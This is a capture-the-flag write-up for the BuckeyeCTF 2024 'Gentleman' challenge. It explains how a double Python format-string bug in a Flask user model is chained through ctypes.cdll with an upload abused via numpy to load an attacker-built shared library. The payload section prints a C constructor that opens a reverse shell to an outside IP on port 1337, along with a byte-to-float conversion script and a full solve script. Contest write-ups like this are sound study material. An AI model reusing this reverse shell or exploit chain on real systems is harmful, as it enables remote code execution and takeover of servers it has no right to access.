.;,;.
BuckeyeCTF 2024: “Gentleman”

BuckeyeCTF 2024: “Gentleman”

October 2, 2024
12 min read
Table of Contents

Buckeye

Buckeye 2024 was kinda fun ctf(except for web I had struggle little bit). But in the end .;,;. full cleared and first place! Gentleman was a interesting chall.

TL;DR:

There is a format string vuln inside a class , and has arbitrary file upload. Trying to archive RCE. Payload:

{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/myid.score]}

Generic

Description of the challenge Time to do the impossible.

The challenge provide a link: gentleman.challs.pwnoh.io, and the source code of the website.

Open the website, it’s a normal TypeMonkey website, has login and signup function.

MONKEYYYYYYYY

Inside the source code, it provides a docker with python:3.12-slim-bookworm ,

Screenshot 2024-10-01 at 10.41.27 AM.png

From: "Janette Erickson" <janette.erickson@notarealperson.com>
To: "'Stanley Stern'" <stanley.stern@notarealperson.com>
Subject: Regarding our project's security
Date: Mon, 2 Sep 2024 09:53:00 -0800
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_006E_01C738AC.D7216990"
 
This is a multi-part message in MIME format.
 
------=_NextPart_000_006E_01C738AC.D7216990
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
 
The pentester we hired has gotten back to us.
They identified one vulnerability in their report, but noted
that it would currently be impossible for an attacker to exploit.
 
Given that we're already 3 days over our deadline, I say
that we just release this as-is and worry about fixing the
vulnerability at a later point in time.
 
Janette
 
------=_NextPart_000_006E_01C738AC.D7216990--

The email is interesting, but it’s super unclear what is the email referencing to. I have also tried to search, everything on this email is not real. ¯\*(ツ)*/¯

There is a readflag, and the flag.txt is chown root:root /readflag && chmod 4755 /readflag , so clearly, there is something inside the challenge can lead to remote code execution in order to get the flag.

The TypeMonkey uses flask as the main server and and sqlalchemy as the user database. Flask session is encrypted using SECRET_KEY = token_urlsafe()[:32] so it’s pretty safe.

Reading through the source, the models.py looks little bit suspicious.

Screenshot 2024-10-01 at 10.38.46 AM.png

Python Formating String

Inside the User Model, there is this extra __repr__ function. When we try to print out a python object, it will try to call this object’s repr function. Every object inherit this repr, but you can choose to overwrite it.

Overwrite a repr function is not that harmful at all. But at this place, we have control of the username, and it uses format string twice. That creates a problem

'<User {u.username} (id {{[i.id](http://i.id/)}})>'.format(u=self).format(i=self)

there is two format. Format will find the {} and pass in the content. At here, the first format formats the username. We can craft a bad username that lead to access other objects.

Username: {i.username}

Formated String: '<User {i.username} (id {[i.id](http://i.id/)})>'.format(i=self)

However, python format string has a restriction of can’t call functions inside the format string. More information this is a good place to look at: HackTricks

typemonkey-app/app/routes.py

The __repr__ function is being called at here, str(user) ,I just added a print statement inside the User class and find it’s being called here

No Function Call? Access Denied?

Now we know the goal is to get RCE, and the only vuln we have right now is this formating string. The format string passes in a User object. What can we do with it?

Usually, we can steal secret with it!

For example:

{i.find.__globals__[so].mapperlib.sys.modules[__main__].something}

We can steal something from the main code, however, the issue is that the server won’t return anything:

@app.route('/api/score/<int:id>',methods=['GET'])
def get_user(id):
    user = m.load_user(id)
    if "User" not in str(user):
        return jsonify({"error":"User does not exist."})
    return jsonify({'best':user.score})

So we need to fine something that can result in RCE.

As you can see in the previous example, we actually might be able to call functions using []!

By default, [ ] will use the __getitem__ function inside the python’s object. And also when we trying to get a object’s attribute it will also call function like object.something it will call object.__getattr__(self, something) (In fact, every python operation is a function!)

So if there actually exist something that we can call, it just we can’t control the code or control what we can call. However, if we find deep enough we can find something that will cause issue with __getitem__ or __getattr__, we can get RCE!

Amazing python! https://docs.python.org/3/reference/datamodel.html#customizing-attribute-access

Amazing python! https://docs.python.org/3/reference/datamodel.html#customizing-attribute-access

Find the needle in the haystack

Although inside format string we don’t have that many builtins and we only passed in class, we still can access other objects inside python. We will discuss later about how we can get it, but assume we have all the object accessible, what do we have right now?

dict_keys(['sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', 'winreg', '_io', 'marshal', 'nt', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', 'encodings.cp1252', '_signal', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', '_winapi', 'ntpath', 'os.path', 'os', '_sitebuiltins', 'site', 'warnings', 'types', '_operator', 'operator', 'itertools', 'keyword', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'enum', 'numpy._utils._convertions', 'numpy._utils', 'numpy._globals', 'numpy._expired_attrs_2_0', 'numpy.version', 'numpy._distributor_init', 'numpy._utils._inspect', '_datetime', 'datetime', 'math', 'numpy.exceptions', 'numpy._core._exceptions', '_contextvars', 'contextvars', 'numpy._core.printoptions', 'numpy.dtypes', 'numpy._core._multiarray_umath', 'numpy._core.overrides', 'numpy._core.multiarray', 'numpy._core.umath', 'numbers', 'numpy._core._string_helpers', 'numpy._core._type_aliases', 'numpy._core._dtype', 'numpy._core.numerictypes', 'copyreg', '_struct', 'struct', '_sre', 're._constants', 're._parser', 're._casefix', 're._compiler', 're', '_compat_pickle', '_pickle', 'pickle', 'contextlib', 'collections.abc', 'numpy._core._ufunc_config', 'numpy._core._methods', 'numpy._core.fromnumeric', 'numpy._core.shape_base', 'numpy._core.arrayprint', 'numpy._core._asarray', 'numpy._core.numeric', 'numpy._core.records', 'numpy._core.memmap', 'numpy._core.function_base', 'numpy._core._machar', 'numpy._core.getlimits', 'numpy._core.einsumfunc', 'numpy._core._add_newdocs', 'numpy._core._add_newdocs_scalars', 'numpy._core._dtype_ctypes', '_ast', 'ast', '_ctypes', 'ctypes._endian', 'ctypes', 'numpy._core._internal', 'numpy._pytesttester', 'numpy._core', 'numpy.__config__', 'numpy.lib._array_utils_impl', 'numpy.lib.array_utils', 'numpy.lib.introspect', 'numpy.lib.mixins', '_weakrefset', 'weakref', 'textwrap', '_wmi', 'platform', 'numpy.lib._utils_impl', 'numpy.lib.format', 'numpy.lib._datasource', 'numpy.lib._iotools', 'numpy.lib._npyio_impl', 'numpy.lib.npyio', 'numpy.lib._ufunclike_impl', 'numpy.lib._type_check_impl', 'numpy.lib._scimath_impl', 'numpy.lib.scimath', 'numpy.lib._stride_tricks_impl', 'numpy.lib.stride_tricks', 'numpy.linalg.linalg', '_typing', 'typing.io', 'typing.re', 'typing', 'numpy.lib._twodim_base_impl', 'numpy.linalg._umath_linalg', '__future__', 'numpy._typing._nested_sequence', 'numpy._typing._nbit', 'numpy._typing._char_codes', 'numpy._typing._scalars', 'numpy._typing._shape', 'numpy._typing._dtype_like', 'numpy._typing._array_like', 'numpy._typing', 'numpy.linalg._linalg', 'numpy.linalg', 'numpy.matrixlib.defmatrix', 'numpy.matrixlib', 'numpy.lib._histograms_impl', 'numpy.lib._function_base_impl', 'numpy.lib._index_tricks_impl', 'numpy.lib._nanfunctions_impl', 'numpy.lib._shape_base_impl', 'numpy.lib._arraysetops_impl', 'numpy.lib._polynomial_impl', 'numpy.lib._arrayterator_impl', 'numpy.lib._arraypad_impl', 'numpy.lib._version', 'numpy.lib', 'numpy._array_api_info', 'numpy', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'errno', 'select', 'selectors', '_socket', 'socket', 'threading', 'socketserver', 'http', 'copy', 'email', '_bisect', 'bisect', '_random', '_sha2', 'random', 'urllib', 'ipaddress', 'urllib.parse', '_locale', 'locale', 'calendar', 'email._parseaddr', 'binascii', 'base64', 'email.base64mime', '_string', 'string', 'email.quoprimime', 'email.errors', 'quopri', 'email.encoders', 'email.charset', 'email.utils', 'html.entities', 'html', 'email.header', 'email._policybase', 'email.feedparser', 'email.parser', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'posixpath', 'mimetypes', 'fnmatch', 'zlib', '_compression', '_bz2', 'bz2', '_lzma', 'lzma', 'shutil', 'http.server', 'token', '_tokenize', 'tokenize', 'linecache', 'traceback', 'atexit', 'logging', 'werkzeug._internal', 'markupsafe._speedups', 'markupsafe', 'werkzeug.exceptions', 'werkzeug.datastructures.mixins', '_hashlib', '_blake2', 'hashlib', 'tempfile', 'urllib.response', 'urllib.error', 'nturl2path', 'urllib.request', 'werkzeug.sansio', 'werkzeug.sansio.http', 'werkzeug.http', 'werkzeug.datastructures.structures', 'werkzeug.datastructures.accept', 'werkzeug.datastructures.auth', 'werkzeug.datastructures.cache_control', 'werkzeug.datastructures.csp', 'werkzeug.datastructures.etag', 'werkzeug.datastructures.file_storage', 'werkzeug.datastructures.headers', 'werkzeug.datastructures.range', 'werkzeug.datastructures', 'werkzeug.urls', 'colorama.ansi', 'msvcrt', 'ctypes.wintypes', 'colorama.win32', 'colorama.winterm', 'colorama.ansitowin32', 'colorama.initialise', 'colorama', 'werkzeug.serving', '_opcode', 'opcode', 'dis', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'importlib.machinery', 'inspect', 'dataclasses', 'werkzeug.sansio.multipart', 'importlib._abc', 'importlib.util', 'pkgutil', 'unicodedata', 'hmac', 'secrets', 'werkzeug.security', 'werkzeug.sansio.utils', 'werkzeug.wsgi', 'werkzeug.utils', 'werkzeug.formparser', 'werkzeug.user_agent', 'werkzeug.sansio.request', 'werkzeug.wrappers.request', 'werkzeug.sansio.response', 'werkzeug.wrappers.response', 'werkzeug.wrappers', 'werkzeug.test', 'werkzeug', 'werkzeug.local', 'flask.globals', '_decimal', 'decimal', '_uuid', 'uuid', 'flask.json.provider', 'flask.json', 'gettext', 'click._winconsole', 'click._compat', 'click.globals', 'click.utils', 'click.exceptions', 'click.types', 'click.parser', 'click.formatting', 'click.termui', 'click.core', 'click.decorators', 'click', 'werkzeug.routing.converters', '_heapq', 'heapq', 'difflib', 'werkzeug.routing.exceptions', 'pprint', 'werkzeug.routing.rules', 'werkzeug.routing.matcher', 'werkzeug.routing.map', 'werkzeug.routing', '_csv', 'csv', 'pathlib', 'zipfile._path.glob', 'zipfile._path', 'zipfile', 'importlib.metadata._functools', 'importlib.metadata._text', 'importlib.metadata._adapters', 'importlib.metadata._meta', 'importlib.metadata._collections', 'importlib.metadata._itertools', 'importlib.resources.abc', 'importlib.resources._adapters', 'importlib.resources._common', 'importlib.resources._legacy', 'importlib.resources', 'importlib.abc', 'importlib.metadata', 'blinker._utilities', 'blinker.base', 'blinker', 'flask.signals', 'flask.helpers', 'flask.cli', 'flask.typing', 'flask.ctx', 'flask.sansio', 'flask.config', 'flask.logging', 'jinja2.bccache', 'jinja2.utils', 'jinja2.nodes', 'jinja2.exceptions', 'jinja2.visitor', 'jinja2.idtracking', 'jinja2.optimizer', 'jinja2.compiler', 'jinja2.async_utils', 'jinja2.runtime', 'jinja2.filters', 'jinja2.tests', 'jinja2.defaults', 'jinja2._identifier', 'jinja2.lexer', 'jinja2.parser', 'jinja2.environment', 'jinja2.loaders', 'jinja2', 'flask.templating', 'flask.sansio.scaffold', 'flask.sansio.app', 'itsdangerous.exc', 'itsdangerous.encoding', 'itsdangerous.signer', 'itsdangerous.serializer', 'itsdangerous.timed', 'itsdangerous._json', 'itsdangerous.url_safe', 'itsdangerous', 'flask.json.tag', 'flask.sessions', 'flask.wrappers', 'flask.app', 'flask.sansio.blueprints', 'flask.blueprints', 'flask', 'wtforms.validators', 'wtforms.widgets.core', 'wtforms.widgets', 'wtforms.i18n', 'wtforms.utils', 'wtforms.fields.core', 'wtforms.fields.choices', 'wtforms.fields.datetime', 'wtforms.fields.form', 'wtforms.fields.list', 'wtforms.fields.numeric', 'wtforms.fields.simple', 'wtforms.fields', 'wtforms.meta', 'wtforms.form', 'wtforms', 'wtforms.csrf', 'wtforms.csrf.core', 'flask_wtf.csrf', 'flask_wtf.form', 'flask_wtf.recaptcha.widgets', 'flask_wtf.recaptcha.validators', 'flask_wtf.recaptcha.fields', 'flask_wtf.recaptcha', 'flask_wtf', 'flask_login.__about__', 'flask_login.config', 'flask_login.mixins', 'flask_login.signals', 'flask_login.utils', 'flask_login.login_manager', 'shlex', 'click.testing', 'flask.testing', 'flask_login.test_client', 'flask_login', 'bcrypt._bcrypt', 'bcrypt', 'flask_bcrypt', 'dominate._version', 'concurrent', 'concurrent.futures._base', 'concurrent.futures', 'signal', 'subprocess', 'asyncio.constants', 'asyncio.coroutines', 'asyncio.format_helpers', 'asyncio.base_futures', 'asyncio.exceptions', 'asyncio.base_tasks', '_asyncio', 'asyncio.events', 'asyncio.futures', 'asyncio.protocols', 'asyncio.transports', 'asyncio.log', 'asyncio.sslproto', 'asyncio.mixins', 'asyncio.locks', 'asyncio.timeouts', 'asyncio.tasks', 'asyncio.staggered', 'asyncio.trsock', 'asyncio.base_events', 'asyncio.runners', 'asyncio.queues', 'asyncio.streams', 'asyncio.subprocess', 'asyncio.taskgroups', 'asyncio.threads', '_overlapped', 'asyncio.base_subprocess', 'asyncio.proactor_events', 'asyncio.selector_events', 'asyncio.windows_utils', 'asyncio.windows_events', 'asyncio', 'greenlet._greenlet', 'greenlet', 'dominate.util', 'dominate.dom_tag', 'dominate.dom1core', 'dominate.tags', 'dominate.document', 'dominate', 'visitor', 'flask_bootstrap.forms', 'flask_bootstrap', 'sqlalchemy.util.preloaded', 'sqlalchemy.cyextension', 'cython_runtime', '_cython_3_0_11', 'sqlalchemy.cyextension.collections', 'sqlalchemy.cyextension.immutabledict', 'sqlalchemy.cyextension.processors', 'sqlalchemy.cyextension.resultproxy', 'sqlalchemy.util.compat', 'sqlalchemy.exc', 'sqlalchemy.cyextension.util', 'sqlalchemy.util._has_cy', 'typing_extensions', 'sqlalchemy.util.typing', 'sqlalchemy.util._collections', 'sqlalchemy.util.langhelpers', 'sqlalchemy.util._concurrency_py3k', 'sqlalchemy.util.concurrency', 'sqlalchemy.util.deprecations', 'sqlalchemy.util', 'sqlalchemy.event.registry', 'sqlalchemy.event.legacy', 'sqlalchemy.event.attr', 'sqlalchemy.event.base', 'sqlalchemy.event.api', 'sqlalchemy.event', 'sqlalchemy.log', 'sqlalchemy.pool.base', 'sqlalchemy.pool.events', 'sqlalchemy.util.queue', 'sqlalchemy.pool.impl', 'sqlalchemy.pool', 'sqlalchemy.sql.roles', 'sqlalchemy.inspection', 'sqlalchemy.sql._typing', 'sqlalchemy.sql.visitors', 'sqlalchemy.sql.cache_key', 'sqlalchemy.sql.operators', 'sqlalchemy.sql.traversals', 'sqlalchemy.sql.base', 'sqlalchemy.sql.coercions', 'sqlalchemy.sql.annotation', 'sqlalchemy.sql.type_api', 'sqlalchemy.sql.elements', 'sqlalchemy.util.topological', 'sqlalchemy.sql.ddl', 'sqlalchemy.engine._py_processors', 'sqlalchemy.engine.processors', 'sqlalchemy.sql.sqltypes', 'sqlalchemy.sql.selectable', 'sqlalchemy.sql.schema', 'sqlalchemy.sql.util', 'sqlalchemy.sql.dml', 'sqlalchemy.sql.crud', 'sqlalchemy.sql.functions', 'sqlalchemy.sql.compiler', 'sqlalchemy.sql._dml_constructors', 'sqlalchemy.sql._elements_constructors', 'sqlalchemy.sql._selectable_constructors', 'sqlalchemy.sql.lambdas', 'sqlalchemy.sql.expression', 'sqlalchemy.sql.default_comparator', 'sqlalchemy.sql.events', 'sqlalchemy.sql.naming', 'sqlalchemy.sql', 'sqlalchemy.engine.interfaces', 'sqlalchemy.engine.util', 'sqlalchemy.engine.base', 'sqlalchemy.engine.events', 'sqlalchemy.dialects', 'sqlalchemy.engine.url', 'sqlalchemy.engine.mock', 'sqlalchemy.engine.create', 'sqlalchemy.engine.row', 'sqlalchemy.engine.result', 'sqlalchemy.engine.cursor', 'sqlalchemy.engine.reflection', 'sqlalchemy.engine', 'sqlalchemy.schema', 'sqlalchemy.types', 'sqlalchemy.engine.characteristics', 'sqlalchemy.engine.default', 'sqlalchemy', 'sqlalchemy.sql._orm_types', 'sqlalchemy.orm._typing', 'sqlalchemy.orm.base', 'sqlalchemy.orm.mapped_collection', 'sqlalchemy.orm.collections', 'sqlalchemy.orm.path_registry', 'sqlalchemy.orm.interfaces', 'sqlalchemy.orm.attributes', 'sqlalchemy.orm.util', 'sqlalchemy.orm.exc', 'sqlalchemy.orm.state', 'sqlalchemy.orm.instrumentation', 'sqlalchemy.future.engine', 'sqlalchemy.future', 'sqlalchemy.orm.context', 'sqlalchemy.orm.loading', 'sqlalchemy.orm.strategy_options', 'sqlalchemy.orm.descriptor_props', 'sqlalchemy.orm.relationships', 'sqlalchemy.orm.properties', 'sqlalchemy.orm.mapper', 'sqlalchemy.orm.query', 'sqlalchemy.orm.evaluator', 'sqlalchemy.orm.sync', 'sqlalchemy.orm.persistence', 'sqlalchemy.orm.bulk_persistence', 'sqlalchemy.orm.identity', 'sqlalchemy.orm.state_changes', 'sqlalchemy.orm.unitofwork', 'sqlalchemy.orm.session', 'sqlalchemy.orm._orm_constructors', 'sqlalchemy.orm.clsregistry', 'sqlalchemy.orm.decl_base', 'sqlalchemy.orm.decl_api', 'sqlalchemy.orm.strategies', 'sqlalchemy.orm.writeonly', 'sqlalchemy.orm.dynamic', 'sqlalchemy.orm.scoping', 'sqlalchemy.orm.events', 'sqlalchemy.orm.dependency', 'sqlalchemy.orm'])

Interesting packages are imported in here, such as numpy, json, werkzeug, jinja2, flask, sqlalchemy.……

Screenshot 2024-10-02 at 11.01.34 AM.png

Not even just consider the imported classes, just inside python standard library we have more than two hundred specialled defined __getitem__.….

It’s too much!!! How can we find some dangerous __getitem__ or __getattr__ ?

Well this github search first object is pretty interesting,

    def __getitem__(self, key):
        with self._execute(LOOKUP_KEY, (key,)) as cu:
            row = cu.fetchone()
        if not row:
            raise KeyError(key)
        return row[0]

Which we were considering we might be able to do some sql injection here to lead to something. However, 1. This is sqlite, we can’t really do system call or read flag. 2. _execute and the LOOKUP_KEY is very safe here

LOOKUP_KEY = "SELECT value FROM Dict WHERE key = CAST(? AS BLOB)"

We were even thinking about to use sql injection to read other people’s username here however it’s safe sql execution… QuQ….

So we did a more systemtic search to find all the function that has get item and get attr defined:

import sys
import inspect
 
def find_custom_methods_with_source():
    custom_classes = {}
 
    # Get all classes in the module
    for module in sys.modules.copy().values():
        try:
            for name, obj in inspect.getmembers(module, inspect.isclass):
                fqn = f'{obj.__module__}.{name}'
                methods = {}
 
                # Check for custom implementations of the desired methods
                for method in ['__get__', '__getattr__', '__getattribute__', '__getitem__']:
                    if method in obj.__dict__:
                        method_obj = getattr(obj, method)
                        try:
                            source_code = inspect.getsource(method_obj)
                            methods[method] = source_code
                        except (TypeError, OSError):
                            methods[method] = "Source code not available"
                            # delete the method from the methods dict
                            del methods[method]
 
                # If the class has any custom methods, add it to the result
                if methods:
                    custom_classes[fqn] = methods
 
        except Exception as e:
            # Skip modules that raise an exception during inspection (e.g., built-in modules without source code)
            continue
 
    return custom_classes
 
import pprint
# pprint.pprint(find_custom_methods_with_source())
# write to a file
with open('custom_methods.txt', 'w') as f:
    for k, v in find_custom_methods_with_source().items():
        f.write(f'{k}\n')
        # use pretty print to format the dictionary
        f.write(pprint.pformat(v))
        f.write('\n\n')

custom_methods.txt

Too much functions QuQ….

We read all of it one by one, trying to find useful ones.

tempfile._TemporaryFileWrapper, looks sus but not useful

tempfile._TemporaryFileWrapper, looks sus but not useful

sqlalchemy.orm.util.AliasedClas, not useful too…

sqlalchemy.orm.util.AliasedClas, not useful too…

weakref.WeakValueDictionary

weakref.WeakValueDictionary

EntryPoints from importlib.metadata

EntryPoints from importlib.metadata

All of them have potential, yet none of them is helpful!!!!!

Time to do the impossible!

Quasar knew this before we did all of these analysis.

Screenshot 2024-10-02 at 1.38.26 PM.png

But we all ignored this and was so hyper focus on the author’s hint about python standard library.

Authors hint in the server.

Authors hint in the server.

After a while trying to find the needle, we turn back to the idea of ctypes.

Ctype code snip selection

Ctype code snip selection

ctype.cdll has a specialized get item function, which means every time when we do ctype.cdll['libc.so.6'] it will auto load the libc.so.6 ! Which is amazing.

However we were struggling and don’t know what to load.

We tried to load /readflag, however, it’s compile limited it to being loaded.

/usr/lib/aarch64-linux-gnu/libpthread.so.0
/usr/local/lib/python3.12/lib-dynload/_struct.cpython-312-aarch64-linux-gnu.so
/usr/lib/aarch64-linux-gnu/libffi.so.8.1.2
/usr/local/lib/python3.12/lib-dynload/_ctypes.cpython-312-aarch64-linux-gnu.so
/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-aarch64-linux-gnu.so
/usr/lib/aarch64-linux-gnu/libtinfo.so.6.4
/usr/lib/aarch64-linux-gnu/libreadline.so.8.2
/usr/local/lib/python3.12/lib-dynload/readline.cpython-312-aarch64-linux-gnu.so
/usr/lib/aarch64-linux-gnu/libc.so.6
/usr/local/lib/libpython3.12.so.1.0
/usr/lib/aarch64-linux-gnu/libm.so.6
/usr/lib/aarch64-linux-gnu/ld-linux-aarch64.so.1

We also tried to load cpython module, but nothing really helpful at here. So we went through the source code again, and find this:

gentleman/typemonkey-app/app/routes.py

gentleman/typemonkey-app/app/routes.py

it will save the score(no limit of how many score here), which is a numpy list, to a file! And according to the numpy doc, it don’t have a header!

https://numpy.org/doc/stable/reference/generated/numpy.ndarray.tofile.html

https://numpy.org/doc/stable/reference/generated/numpy.ndarray.tofile.html

Which means we got arbitrary file upload, it’s just we never found it before, and didn’t know it might be helpful. But now everything changed, we just miss a library, why don’t we jut upload a library with bad code?

Payload time!

When we got to this place, there was only 50 min left in the CTF, it was super stressful and fun. We decided to just set up a reverse shell:

#include <stdlib.h>
 
__attribute__((constructor))
void init() {
    // system("echo hi");
    //for some wired reason this don't work:
    // system("/bin/bash -c '/readflag 2>&1 /dev/tcp/24.144.93.224/1337'");
    system("python3 -c \"import os; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(('24.144.93.224', 1337)); fd = s.fileno(); os.dup2(fd, 0); os.dup2(fd, 1); os.dup2(fd, 2); os.system('/bin/sh')\"");
}

Compile this to libtest.so , and convert to python float. Yet the server side only will save score when score is bigger than previous one, which means if the float have null, it won’t work.

import numpy as np
import struct
import json
import math
from pwn import u64, p64
import sys
 
data = bytearray(open("libtest.so", "rb").read())
# trying to fix the infinity issue here, make sure no nah
data[0x1100:0x110d] = [0x90] * 0xc + [0x50]
doubles = []
for i in range(0, len(data), 8):
    n = u64(data[i:i+8])
    double = struct.unpack("<d", data[i:i+8])[0]
    if math.isnan(double):
        print(f"offset = {i:#x}, bytes = {u64(data[i:i+8]):#x}", file=sys.stderr)
        double = 0.0
        # exit(1)
    doubles.append(str(double))
# to make sure that it's always larger
doubles.append(float("+inf"))
 
print(json.dumps({
    "counts": doubles,
}))
# print(np.average(doubles))
np.asarray(list(map(float, doubles))).tofile("test.score")
# print(np.average(doubles), file=sys.stderr)
# import ctypes
# ctypes.cdll["./test.score"]

Now we have a score that will result in the file that we want, just need to figure out how to recover ctype:

{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll}

Where the init recovers a function, access global from the function, get the builtins, use loader to load system, use ctypes inside system module, and load cdll.

Final solve script:

import requests
import random
import json
 
url = 'http://127.0.0.1:1234'
 
process = requests.Session()
 
def get_id():
    data = {
        'username': random.randint(0, 10000),
        'password': random.randint(0, 10000),
        'submit': 'Submit'
    }
    response = process.post(url + '/signup', data=data)
    response = process.post(url + '/login', data=data)
    cur_id = process.cookies.get('remember_token').split('|')[0]
    print(cur_id)
    return str(int(cur_id) + 1)
 
def get_bad_user(cur_id):
    username = "{i.__init__.__globals__[__builtins__][__loader__].load_module.__globals__[sys].modules[ctypes].cdll[/home/app/app/scores/"+(cur_id)+".score]}"
    data = {
        'username': username,
        'password': random.randint(0, 10000),
        'submit': 'Submit'
    }
    response = process.post(url + '/signup', data=data)
    response = process.post(url + '/login', data=data)
    return 1
 
user_id = get_id()
get_bad_user(user_id)
 
counts = json.load(open('dup2.json'))
counts["counts"] = [str(x) for x in counts["counts"]]
 
response = process.post(url + '/api/score/submit', json=counts)
print(response.text)
 
respons = process.get(url + '/api/score/' + user_id)
print(respons.text)
 

Flaggg!

Screenshot 2024-10-02 at 6.03.58 PM.png

bctf{now_that_is_a_powerful_class_4e507}